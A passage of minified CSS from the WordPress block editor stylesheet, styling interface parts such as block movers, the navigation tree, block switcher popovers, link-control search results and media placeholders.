.block-editor-block-mover-button.is-down-button:before{top:0;height:calc(100% - 1px)}}.block-editor-block-mover.is-horizontal .block-editor-block-mover-button.has-icon{height:48px;width:24px;padding-left:0;padding-right:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover-button.has-icon:before{top:1px;bottom:1px;min-width:0;width:auto;height:auto}.block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-up-button.has-icon svg{margin-left:0;margin-right:-8px;margin-bottom:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-up-button.has-icon:before{left:0!important;right:0!important}.block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-down-button.has-icon svg{margin-left:-8px;margin-right:0;margin-top:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover-button.is-down-button.has-icon:before{left:0!important;right:0!important;width:calc(100% + 1px)}.block-editor-block-navigation__label{margin:0 0 12px;color:#757575;text-transform:uppercase;font-size:11px;font-weight:500}.block-editor-block-navigation__container{min-width:280px}.block-editor-block-navigation-tree{width:100%;border-collapse:collapse;padding:0;margin:0}.block-editor-block-navigation-leaf{position:relative}.block-editor-block-navigation-leaf.is-selected .block-editor-block-navigation-block-contents,.block-editor-block-navigation-leaf.is-selected:focus .block-editor-block-navigation-block-contents,.block-editor-block-navigation-leaf.is-selected:hover .block-editor-block-navigation-block-contents{background:#1e1e1e;color:#fff}.block-editor-block-navigation-leaf.is-dragging{display:none}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents{display:flex;align-items:center;width:100%;height:auto;padding:6px;text-align:left;color:#1e1e1e;border-radius:2px;position:relative;white-space:nowrap}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents:hover{background:#f0f0f0}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents:focus{z-index:1}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-before:before{content:"";position:absolute;pointer-events:none;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;top:-2px;right:0;left:0;border-top:4px solid #007cba;border-top:4px solid var(--wp-admin-theme-color)}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-after:before{left:0}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-after:before,.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-to-inner-blocks:before{content:"";position:absolute;pointer-events:none;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;bottom:-2px;right:0;border-bottom:4px solid #007cba;border-bottom:4px solid var(--wp-admin-theme-color)}.block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents.is-dropping-to-inner-blocks:before{left:24px}.components-modal__content .block-editor-block-navigation-leaf .block-editor-block-navigation-block-contents{padding-left:0;padding-right:0}.block-editor-block-navigation-leaf.is-visible .block-editor-block-navigation-block-contents{opacity:1;animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.block-editor-block-navigation-leaf.is-visible .block-editor-block-navigation-block-contents{animation-duration:1ms}}.block-editor-block-navigation-leaf .block-editor-block-icon{align-self:flex-start;margin-right:6px}.block-editor-block-navigation-leaf .block-editor-block-navigation-block__contents-cell,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell{padding-top:0;padding-bottom:0}.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell{line-height:0;width:36px;opacity:0;vertical-align:top}@media (prefers-reduced-motion:reduce){.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell{transition-duration:0s}}.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell.is-visible,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell.is-visible{opacity:1;animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell.is-visible,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell.is-visible{animation-duration:1ms}}.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell .components-button.has-icon,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell,.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell .components-button.has-icon{width:24px;min-width:24px;padding:0}.block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell{padding-top:8px}.block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell-alignment-wrapper{display:flex;height:100%;flex-direction:column;align-items:center}.block-editor-block-navigation-leaf .block-editor-block-mover-button{position:relative;width:36px;height:24px}.block-editor-block-navigation-leaf .block-editor-block-mover-button svg{position:relative;height:24px}.block-editor-block-navigation-leaf .block-editor-block-mover-button.is-up-button{align-items:flex-end}.block-editor-block-navigation-leaf .block-editor-block-mover-button.is-up-button svg{bottom:-4px}.block-editor-block-navigation-leaf .block-editor-block-mover-button.is-down-button{align-items:flex-start}.block-editor-block-navigation-leaf .block-editor-block-mover-button.is-down-button svg{top:-4px}.block-editor-block-navigation-leaf .block-editor-block-mover-button:focus,.block-editor-block-navigation-leaf .block-editor-block-mover-button:focus:enabled{box-shadow:none;outline:none}.block-editor-block-navigation-leaf .block-editor-block-mover-button:focus:before{box-shadow:inset 0 0 0 2px #007cba,inset 0 0 0 4px #fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 4px #fff;outline:2px solid transparent}.block-editor-block-navigation-leaf .block-editor-block-mover-button:before{content:"";position:absolute;display:block;border-radius:2px;height:16px;min-width:100%;left:0;right:0;animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.block-editor-block-navigation-leaf .block-editor-block-mover-button:before{animation-duration:1ms}}.block-editor-block-navigation-leaf .block-editor-inserter__toggle{background:#1e1e1e;color:#fff;height:24px;margin:6px 6px 6px 1px;min-width:24px}.block-editor-block-navigation-leaf .block-editor-inserter__toggle:active{color:#fff}.block-editor-block-navigation-appender__description,.block-editor-block-navigation-block-select-button__description,.block-editor-block-navigation-block-slot__description{display:none}.block-editor-block-navigation-appender__cell .block-editor-block-navigation-appender__container,.block-editor-block-navigation-appender__cell .block-editor-block-navigation-block__contents-container,.block-editor-block-navigation-block__contents-cell .block-editor-block-navigation-appender__container,.block-editor-block-navigation-block__contents-cell .block-editor-block-navigation-block__contents-container{display:flex}.block-editor-block-navigator-indentation{flex-shrink:0;width:18px}.block-editor-block-parent-selector{background:#fff;border-radius:2px}.block-editor-block-parent-selector .block-editor-block-parent-selector__button{width:48px;height:48px;border:1px solid #1e1e1e;border-radius:2px}.block-editor-block-patterns-list__item{border-radius:2px;cursor:pointer;margin-top:16px;transition:all .05s ease-in-out;position:relative;border:1px solid transparent}.block-editor-block-patterns-list__item:hover{border:1px solid #007cba;border:1px solid var(--wp-admin-theme-color)}.block-editor-block-patterns-list__item:focus{box-shadow:inset 0 0 0 1px #fff,0 0 0 2px #007cba;box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.block-editor-block-patterns-list__item.is-placeholder{min-height:100px}.block-editor-block-patterns-list__item[draggable=true] .block-editor-block-preview__container{cursor:grab}.block-editor-block-patterns-list__item-title{padding:4px;font-size:12px;text-align:center}.block-editor-block-preview__container{position:relative;width:100%;overflow:hidden}.block-editor-block-preview__container.editor-styles-wrapper{padding:0;margin:0}.block-editor-block-preview__container .block-editor-block-preview__content{position:absolute;top:0;left:0;transform-origin:top left;text-align:initial;margin:0;overflow:visible;min-height:auto}.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-drop-zone,.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__insertion-point,.block-editor-block-preview__container .block-editor-block-preview__content .block-list-appender,.block-editor-block-preview__container .block-editor-block-preview__content .reusable-block-indicator{display:none}.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__layout.is-root-container{padding-left:0;padding-right:0}.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__layout.is-root-container>.wp-block[data-align=full]{margin-left:0;margin-right:0}.block-editor-block-settings-menu__popover .components-dropdown-menu__menu{padding:0}.block-editor-block-styles{display:flex;flex-wrap:wrap;justify-content:space-between}.block-editor-block-styles__item{width:calc(50% - 4px);margin:4px 0;flex-shrink:0;cursor:pointer;overflow:hidden;border-radius:2px;padding:6px;display:flex;flex-direction:column}.block-editor-block-styles__item:focus{box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.block-editor-block-styles__item:hover .block-editor-block-styles__item-preview{border-color:#007cba;border-color:var(--wp-admin-theme-color)}.block-editor-block-styles__item.is-active .block-editor-block-styles__item-label{font-weight:700}.block-editor-block-styles__item.is-active .block-editor-block-styles__item-preview{margin:0;border:2px solid #1e1e1e}.block-editor-block-styles__item-preview{outline:1px solid transparent;padding:0;margin:2px;border-radius:2px;display:flex;overflow:hidden;background:#fff;align-items:center;flex-grow:1;min-height:80px;max-height:160px}.block-editor-block-switcher__styles__menugroup{position:relative}.block-editor-block-styles__item-label{text-align:center;padding:4px 0}.block-editor-block-switcher,.block-editor-block-switcher__no-switcher-icon,.block-editor-block-switcher__toggle{position:relative}.components-button.block-editor-block-switcher__no-switcher-icon,.components-button.block-editor-block-switcher__toggle{margin:0;display:block;height:48px}.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.components-button.block-editor-block-switcher__toggle .block-editor-block-icon{margin:auto}.block-editor-block-switcher__toggle-text{margin-left:8px}.block-editor-block-switcher__popover{margin-left:6px}.components-button.block-editor-block-switcher__no-switcher-icon{width:48px}.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-blocks-icon{margin-right:auto;margin-left:auto}.components-button.block-editor-block-switcher__no-switcher-icon:disabled{opacity:1}.components-button.block-editor-block-switcher__no-switcher-icon:disabled,.components-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{color:#1e1e1e!important}.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon{height:100%;position:relative;margin:0 auto;display:flex;align-items:center}.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon:before{top:8px;right:8px;bottom:8px;left:8px}.components-popover.block-editor-block-switcher__popover .components-popover__content{min-width:300px}.components-popover.block-editor-block-switcher__popover .components-popover__content>div{min-width:auto;display:flex;background:#fff;padding:0}.components-popover.block-editor-block-switcher__popover .components-popover__content>div .components-menu-group{padding:16px;margin:0}.block-editor-block-switcher__popover .components-popover__content .block-editor-block-styles{margin:0 -3px}.block-editor-block-switcher__popover .components-popover__content .components-panel__body{border:0;position:relative;z-index:1}.block-editor-block-switcher__popover .components-popover__content .components-panel__body+.components-panel__body{border-top:1px solid #e0e0e0}.block-editor-block-switcher__popover__preview__parent .block-editor-block-switcher__popover__preview__container{position:absolute;top:-12px;left:calc(100% + 32px)}.block-editor-block-switcher__preview__popover{display:none}.block-editor-block-switcher__preview__popover.components-popover{margin-left:4px;margin-top:11px}@media (min-width:782px){.block-editor-block-switcher__preview__popover{display:block}}.block-editor-block-switcher__preview__popover .components-popover__content{box-shadow:none;border:1px solid #1e1e1e;background:#fff;border-radius:2px}.block-editor-block-switcher__preview__popover .block-editor-block-switcher__preview{width:300px;height:auto;padding:16px}.block-editor-block-switcher__preview-title{margin-bottom:12px;color:#757575;text-transform:uppercase;font-size:11px;font-weight:500}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon{width:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle{height:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{width:48px;height:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{padding:12px}.block-editor-block-types-list{list-style:none;padding:4px;margin-left:-4px;margin-right:-4px;overflow:hidden;display:flex;flex-wrap:wrap}.block-editor-block-variation-picker .components-placeholder__instructions{margin-bottom:0}.block-editor-block-variation-picker .components-placeholder__fieldset{flex-direction:column}.block-editor-block-variation-picker.has-many-variations .components-placeholder__fieldset{max-width:90%}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations{display:flex;justify-content:flex-start;flex-direction:row;flex-wrap:wrap;width:100%;margin:16px 0;padding:0;list-style:none}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li{list-style:none;margin:8px 20px 0 0;flex-shrink:1;width:75px;text-align:center}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li button{display:inline-flex;margin-right:0}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation{padding:8px}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation-label{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:12px;display:block;line-height:1.4}.block-editor-block-variation-picker__variation{width:100%}.block-editor-block-variation-picker__variation.components-button.has-icon{justify-content:center;width:auto}.block-editor-block-variation-picker__variation.components-button.has-icon.is-secondary{background-color:#fff}.block-editor-block-variation-picker__variation.components-button{height:auto;padding:0}.block-editor-block-variation-picker__variation:before{content:"";padding-bottom:100%}.block-editor-block-variation-picker__variation:first-child{margin-left:0}.block-editor-block-variation-picker__variation:last-child{margin-right:0}.block-editor-block-variation-transforms{padding:0 16px 16px 56px;width:100%}.block-editor-block-variation-transforms .components-dropdown-menu__toggle{border:1px solid #757575;border-radius:2px;min-height:30px;width:100%;position:relative;text-align:left;justify-content:left;padding:6px 12px}.block-editor-block-variation-transforms .components-dropdown-menu__toggle.components-dropdown-menu__toggle{padding-right:24px}.block-editor-block-variation-transforms .components-dropdown-menu__toggle:focus:not(:disabled){border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 2px-1px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus)-1px var(--wp-admin-theme-color)}.block-editor-block-variation-transforms .components-dropdown-menu__toggle svg{height:100%;padding:0;position:absolute;right:0;top:0}.block-editor-block-variation-transforms__popover .components-popover__content{min-width:230px}.block-editor-button-block-appender{display:flex;flex-direction:column;align-items:center;justify-content:center;padding:8px;width:100%;height:auto;color:#1e1e1e;box-shadow:inset 0 0 0 1px #1e1e1e}.is-dark-theme .block-editor-button-block-appender{color:hsla(0,0%,100%,.65);box-shadow:inset 0 0 0 1px hsla(0,0%,100%,.65)}.block-editor-button-block-appender:hover{color:#007cba;color:var(--wp-admin-theme-color);box-shadow:inset 0 0 0 1px #007cba;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.block-editor-button-block-appender:focus{box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color)}.block-editor-button-block-appender:active{color:#000}.block-editor-button-block-appender.block-list-appender__toggle{display:flex;flex-direction:row;color:#1e1e1e;box-shadow:none;height:24px;width:24px;padding:0;margin-left:8px}.block-editor-button-block-appender.block-list-appender__toggle:active{color:#fff}.block-editor-button-block-appender.block-list-appender__toggle>svg{width:24px;background-color:#1e1e1e;color:#fff;border-radius:2px}.block-editor-color-gradient-control .block-editor-color-gradient-control__color-indicator{margin-bottom:12px}.block-editor-color-gradient-control .block-editor-color-gradient-control__button-tabs{display:block;margin-bottom:12px}.block-editor-panel-color-gradient-settings .component-color-indicator{vertical-align:text-bottom}.block-editor-panel-color-gradient-settings__panel-title .component-color-indicator{display:inline-block}.block-editor-panel-color-gradient-settings.is-opened .block-editor-panel-color-gradient-settings__panel-title .component-color-indicator{display:none}@media screen and (min-width:782px){.block-editor-panel-color-gradient-settings .components-circular-option-picker__swatches{margin-right:0}.block-editor-panel-color-gradient-settings .components-circular-option-picker__option-wrapper{margin-right:calc(20% - 33.6px)}.block-editor-panel-color-gradient-settings .components-circular-option-picker__option-wrapper:nth-child(6n+6){margin-right:0}}.block-editor-contrast-checker>.components-notice{margin:0}.block-editor-default-block-appender{clear:both;margin-left:auto;margin-right:auto;position:relative}.block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{outline:1px solid transparent}.block-editor-default-block-appender textarea.block-editor-default-block-appender__content{font-family:inherit;font-size:inherit;border:none;background:none;box-shadow:none;display:block;cursor:text;width:100%;outline:1px solid transparent;transition:outline .2s;margin-top:28px;margin-bottom:28px;resize:none!important;padding:0 50px 0 0;color:rgba(30,30,30,.62)}@media (prefers-reduced-motion:reduce){.block-editor-default-block-appender textarea.block-editor-default-block-appender__content{transition-duration:0s}}.is-dark-theme .block-editor-default-block-appender textarea.block-editor-default-block-appender__content{color:hsla(0,0%,100%,.65)}.block-editor-default-block-appender .components-drop-zone__content-icon{display:none}.block-editor-default-block-appender__content{line-height:1.8}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{position:absolute;top:0;height:32px}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle,.block-editor-default-block-appender .block-editor-inserter .block-editor-inserter__toggle{margin-right:0}.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{right:8px}@media (min-width:600px){.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{display:flex;height:100%}}.block-editor-block-list__empty-block-inserter:disabled,.block-editor-default-block-appender .block-editor-inserter:disabled{display:none}@media (min-width:600px){.block-editor-default-block-appender .block-editor-inserter{align-items:center}}.components-font-appearance-control__select{margin-bottom:24px}.components-font-appearance-control__select ul li{color:#1e1e1e;text-transform:capitalize}.block-editor-link-control{position:relative;min-width:360px}.components-popover__content .block-editor-link-control{min-width:auto;width:90vw;max-width:360px}.block-editor-link-control__search-input-wrapper{position:relative}.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;font-size:16px;line-height:normal;width:calc(100% - 32px);display:block;padding:11px 36px 11px 16px;margin:16px;position:relative;border:1px solid #ddd;border-radius:2px}@media (prefers-reduced-motion:reduce){.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{transition-duration:0s}}@media (min-width:600px){.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{font-size:13px;line-height:normal}}.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.block-editor-link-control .block-editor-link-control__search-input .components-base-control__field{margin-bottom:0}.block-editor-link-control__search-error{margin:-8px 16px 16px}.block-editor-link-control__search-actions{position:absolute;top:19px;right:19px}.components-button .block-editor-link-control__search-submit .has-icon{margin:-1px}.block-editor-link-control__search-results-wrapper{position:relative;margin-top:-15px}.block-editor-link-control__search-results-wrapper:after,.block-editor-link-control__search-results-wrapper:before{content:"";position:absolute;left:-1px;right:16px;display:block;pointer-events:none;z-index:100}.block-editor-link-control__search-results-wrapper:before{height:8px;top:0;bottom:auto}.block-editor-link-control__search-results-wrapper:after{height:16px;bottom:0;top:auto}.block-editor-link-control__search-results-label{padding:16px 32px 0;display:block;font-weight:600}.block-editor-link-control__search-results{margin:0;padding:8px 16px;max-height:200px;overflow-y:auto}.block-editor-link-control__search-results.is-loading{opacity:.2}.block-editor-link-control__search-item{position:relative;display:flex;align-items:center;font-size:13px;cursor:pointer;background:#fff;width:100%;border:none;text-align:left;padding:12px 16px;border-radius:5px;height:auto}.block-editor-link-control__search-item:focus,.block-editor-link-control__search-item:hover{background-color:#ddd}.block-editor-link-control__search-item:focus:not(:disabled){box-shadow:inset 0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset}.block-editor-link-control__search-item.is-selected{background:#f0f0f0}.block-editor-link-control__search-item.is-selected .block-editor-link-control__search-item-type{background:#fff}.block-editor-link-control__search-item.is-current{background:transparent;border:0;width:100%;cursor:default;padding:16px 16px 16px 24px}.block-editor-link-control__search-item .block-editor-link-control__search-item-header{display:block;margin-right:8px;overflow:hidden;white-space:nowrap}.block-editor-link-control__search-item .block-editor-link-control__search-item-icon{margin-right:1em;min-width:24px}.block-editor-link-control__search-item .block-editor-link-control__search-item-info,.block-editor-link-control__search-item .block-editor-link-control__search-item-title{overflow:hidden;text-overflow:ellipsis;padding-right:24px}.block-editor-link-control__search-item .block-editor-link-control__search-item-info .components-external-link__icon,.block-editor-link-control__search-item .block-editor-link-control__search-item-title .components-external-link__icon{position:absolute;right:0;margin-top:0}.block-editor-link-control__search-item .block-editor-link-control__search-item-title{display:block;margin-bottom:.2em;font-weight:500;position:relative}.block-editor-link-control__search-item .block-editor-link-control__search-item-title mark{font-weight:700;color:#000;background-color:transparent}.block-editor-link-control__search-item .block-editor-link-control__search-item-title span{font-weight:400}.block-editor-link-control__search-item .block-editor-link-control__search-item-info{display:block;color:#757575;font-size:.9em;line-height:1.3}.block-editor-link-control__search-item .block-editor-link-control__search-item-type{display:block;padding:3px 8px;margin-left:auto;font-size:.9em;background-color:#f0f0f0;border-radius:2px}.block-editor-link-control__loading{margin:16px;display:flex;align-items:center}.block-editor-link-control__loading .components-spinner{margin-top:0}.components-button+.block-editor-link-control__search-create{overflow:visible;padding:12px 16px}.components-button+.block-editor-link-control__search-create:before{content:"";position:absolute;top:-10px;left:0;display:block;width:100%}.block-editor-link-control__search-results div[role=menu]>.block-editor-link-control__search-item.block-editor-link-control__search-item{padding:10px}.block-editor-link-control__settings{border-top:1px solid #ddd;margin:0;padding:16px 24px}.block-editor-link-control__settings :last-child{margin-bottom:0}.block-editor-link-control__setting{margin-bottom:16px}.block-editor-link-control__setting :last-child{margin-bottom:0}.block-editor-link-control .block-editor-link-control__search-input .components-spinner{display:block}.block-editor-link-control .block-editor-link-control__search-input .components-spinner.components-spinner{position:absolute;left:auto;bottom:auto;top:28px;right:62px}.block-editor-link-control__search-item-action{margin-left:auto;flex-shrink:0}.block-editor-line-height-control{margin-bottom:24px}.block-editor-line-height-control input{display:block;max-width:60px}.block-editor-image-size-control{margin-bottom:1em}.block-editor-image-size-control .block-editor-image-size-control__row{display:flex;justify-content:space-between}.block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__height,.block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__width{margin-bottom:.5em}.block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__height input,.block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__width input{line-height:1.25}.block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__width{margin-right:5px}.block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__height{margin-left:5px}.block-editor-block-list__layout.has-overlay:after{content:"";position:absolute;top:-14px;right:-14px;bottom:-14px;left:-14px;z-index:60}[data-align=full] .has-overlay:after{right:0;left:0}.block-editor-block-types-list__list-item{display:block;width:33.33%;padding:0;margin:0}.components-button.block-editor-block-types-list__item{display:flex;flex-direction:column;width:100%;font-size:13px;color:#1e1e1e;padding:8px;align-items:stretch;justify-content:center;cursor:pointer;background:transparent;word-break:break-word;border-radius:2px;border:1px solid transparent;transition:all .05s ease-in-out;position:relative;height:auto}@media (prefers-reduced-motion:reduce){.components-button.block-editor-block-types-list__item{transition-duration:0s}}.components-button.block-editor-block-types-list__item:disabled{opacity:.6;cursor:default}.components-button.block-editor-block-types-list__item:not(:disabled):hover{border-color:#007cba;border-color:var(--wp-admin-theme-color);color:#007cba!important;color:var(--wp-admin-theme-color)!important}.components-button.block-editor-block-types-list__item:not(:disabled).is-active{color:#fff;background:#1e1e1e;outline:2px solid transparent;outline-offset:-2px}.block-editor-block-types-list__item-icon{padding:12px 20px;border-radius:2px;color:#1e1e1e;transition:all .05s ease-in-out}@media (prefers-reduced-motion:reduce){.block-editor-block-types-list__item-icon{transition-duration:0s}}.block-editor-block-types-list__item-icon .block-editor-block-icon{margin-left:auto;margin-right:auto}.block-editor-block-types-list__item-icon svg{transition:all .15s ease-out}@media (prefers-reduced-motion:reduce){.block-editor-block-types-list__item-icon svg{transition-duration:0s}}.block-editor-block-types-list__list-item[draggable=true] .block-editor-block-types-list__item-icon{cursor:grab}.block-editor-block-types-list__item-title{padding:4px 2px 8px;font-size:12px}.modal-open .block-editor-media-replace-flow__options{display:none}.block-editor-media-replace-flow__options .components-popover__content>div{padding-top:16px}.block-editor-media-replace-flow__indicator{margin-left:4px}.block-editor-media-flow__url-input{border-top:1px solid #1e1e1e;margin-top:12px;margin-right:-12px;margin-left:-12px;padding:12px 24px 0}.block-editor-media-flow__url-input .block-editor-media-replace-flow__image-url-label{top:16px}.block-editor-media-flow__url-input .block-editor-link-control{margin-top:-16px;width:auto}.block-editor-media-flow__url-input .block-editor-link-control .components-base-control .components-base-control__field{margin-bottom:0}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-title{max-width:180px;margin-top:16px}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item.is-current{width:auto;padding:0}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{margin:16px 0 0;width:100%}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-actions{right:4px}.block-editor-media-flow__error{padding:0 20px 20px;max-width:255px}.block-editor-media-flow__error .components-with-notices-ui{max-width:255px}.block-editor-media-flow__error .components-with-notices-ui .components-notice__content{overflow:hidden;word-wrap:break-word}.block-editor-media-flow__error .components-with-notices-ui .components-notice__dismiss{position:absolute;right:10px}.block-editor-media-placeholder__url-input-container .block-editor-media-placeholder__button{margin-bottom:0}.block-editor-media-placeholder__url-input-form{display:flex}.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{width:100%;flex-grow:1;border:none;border-radius:0;margin:2px}@media (min-width:600px){.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{width:300px}}.block-editor-media-placeholder__url-input-submit-button{flex-shrink:1}.block-editor-media-placeholder__button{margin-bottom:.5rem}.block-editor-media-placeholder__cancel-button.is-link{margin:1em;display:block}.block-editor-media-placeholder.is-appender{min-height:0}.block-editor-media-placeholder.is-appender:hover{cursor:pointer;box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.block-editor-multi-selection-inspector__card{display:flex;align-items:flex-start;padding:16px}.block-editor-multi-selection-inspector__card-content{flex-grow:1}.block-editor-multi-selection-inspector__card-title{font-weight:500;margin-bottom:5px}.block-editor-multi-selection-inspector__card-description{font-size:13px}.block-editor-multi-selection-inspector__card .block-editor-block-icon{margin-left:-2px;margin-right:10px;padding:0 